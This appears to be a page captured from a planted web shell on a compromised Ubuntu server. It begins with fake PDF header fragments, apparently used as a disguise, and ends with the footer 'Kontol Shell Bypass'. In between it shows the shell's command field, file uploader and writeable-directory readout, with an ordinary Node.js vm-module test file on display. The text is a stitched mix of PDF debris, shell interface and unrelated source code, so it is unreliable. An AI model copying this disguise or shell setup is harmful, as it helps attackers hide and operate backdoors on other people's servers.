%PDF- <> %âãÏÓ endobj 2 0 obj <> endobj 3 0 obj <>/ExtGState<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI] >>/Annots[ 28 0 R 29 0 R] /MediaBox[ 0 0 595.5 842.25] /Contents 4 0 R/Group<>/Tabs/S>> endobj ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<> endobj 2 0 obj<>endobj 2 0 obj<>es 3 0 R>> endobj 2 0 obj<> ox[ 0.000000 0.000000 609.600000 935.600000]/Fi endobj 3 0 obj<> endobj 7 1 obj<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI]>>/Subtype/Form>> stream

nadelinn - rinduu

Command :

ikan Uploader :
Directory :  /proc/self/root/home/ubuntu/node-v16.18.1/test/parallel/
Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 
Current File : //proc/self/root/home/ubuntu/node-v16.18.1/test/parallel/test-vm-global-property-interceptors.js
'use strict';
require('../common');
const assert = require('assert');
const vm = require('vm');

const dSymbol = Symbol('d');
const sandbox = {
  a: 'a',
  dSymbol
};

Object.defineProperties(sandbox, {
  b: {
    value: 'b'
  },
  c: {
    value: 'c',
    writable: true,
    enumerable: true
  },
  [dSymbol]: {
    value: 'd'
  },
  e: {
    value: 'e',
    configurable: true
  },
  f: {}
});

const ctx = vm.createContext(sandbox);

const result = vm.runInContext(`
const getDesc = (prop) => Object.getOwnPropertyDescriptor(this, prop);
const result = {
  a: getDesc('a'),
  b: getDesc('b'),
  c: getDesc('c'),
  d: getDesc(dSymbol),
  e: getDesc('e'),
  f: getDesc('f'),
  g: getDesc('g')
};
result;
`, ctx);

// eslint-disable-next-line no-restricted-properties
assert.deepEqual(result, {
  a: { value: 'a', writable: true, enumerable: true, configurable: true },
  b: { value: 'b', writable: false, enumerable: false, configurable: false },
  c: { value: 'c', writable: true, enumerable: true, configurable: false },
  d: { value: 'd', writable: false, enumerable: false, configurable: false },
  e: { value: 'e', writable: false, enumerable: false, configurable: true },
  f: {
    value: undefined,
    writable: false,
    enumerable: false,
    configurable: false
  },
  g: undefined
});

// Define new properties
vm.runInContext(`
Object.defineProperty(this, 'h', {value: 'h'});
Object.defineProperty(this, 'i', {});
Object.defineProperty(this, 'j', {
  get() { return 'j'; }
});
let kValue = 0;
Object.defineProperty(this, 'k', {
  get() { return kValue; },
  set(value) { kValue = value }
});
`, ctx);

assert.deepStrictEqual(Object.getOwnPropertyDescriptor(ctx, 'h'), {
  value: 'h',
  writable: false,
  enumerable: false,
  configurable: false
});

assert.deepStrictEqual(Object.getOwnPropertyDescriptor(ctx, 'i'), {
  value: undefined,
  writable: false,
  enumerable: false,
  configurable: false
});

const jDesc = Object.getOwnPropertyDescriptor(ctx, 'j');
assert.strictEqual(typeof jDesc.get, 'function');
assert.strictEqual(typeof jDesc.set, 'undefined');
assert.strictEqual(jDesc.enumerable, false);
assert.strictEqual(jDesc.configurable, false);

const kDesc = Object.getOwnPropertyDescriptor(ctx, 'k');
assert.strictEqual(typeof kDesc.get, 'function');
assert.strictEqual(typeof kDesc.set, 'function');
assert.strictEqual(kDesc.enumerable, false);
assert.strictEqual(kDesc.configurable, false);

assert.strictEqual(ctx.k, 0);
ctx.k = 1;
assert.strictEqual(ctx.k, 1);
assert.strictEqual(vm.runInContext('k;', ctx), 1);
vm.runInContext('k = 2;', ctx);
assert.strictEqual(ctx.k, 2);
assert.strictEqual(vm.runInContext('k;', ctx), 2);

// Redefine properties on the global object
assert.strictEqual(typeof vm.runInContext('encodeURI;', ctx), 'function');
assert.strictEqual(ctx.encodeURI, undefined);
vm.runInContext(`
Object.defineProperty(this, 'encodeURI', { value: 42 });
`, ctx);
assert.strictEqual(vm.runInContext('encodeURI;', ctx), 42);
assert.strictEqual(ctx.encodeURI, 42);

// Redefine properties on the sandbox
vm.runInContext(`
Object.defineProperty(this, 'e', { value: 'newE' });
`, ctx);
assert.strictEqual(ctx.e, 'newE');

assert.throws(() => vm.runInContext(`
'use strict';
Object.defineProperty(this, 'f', { value: 'newF' });
`, ctx), /TypeError: Cannot redefine property: f/);

Kontol Shell Bypass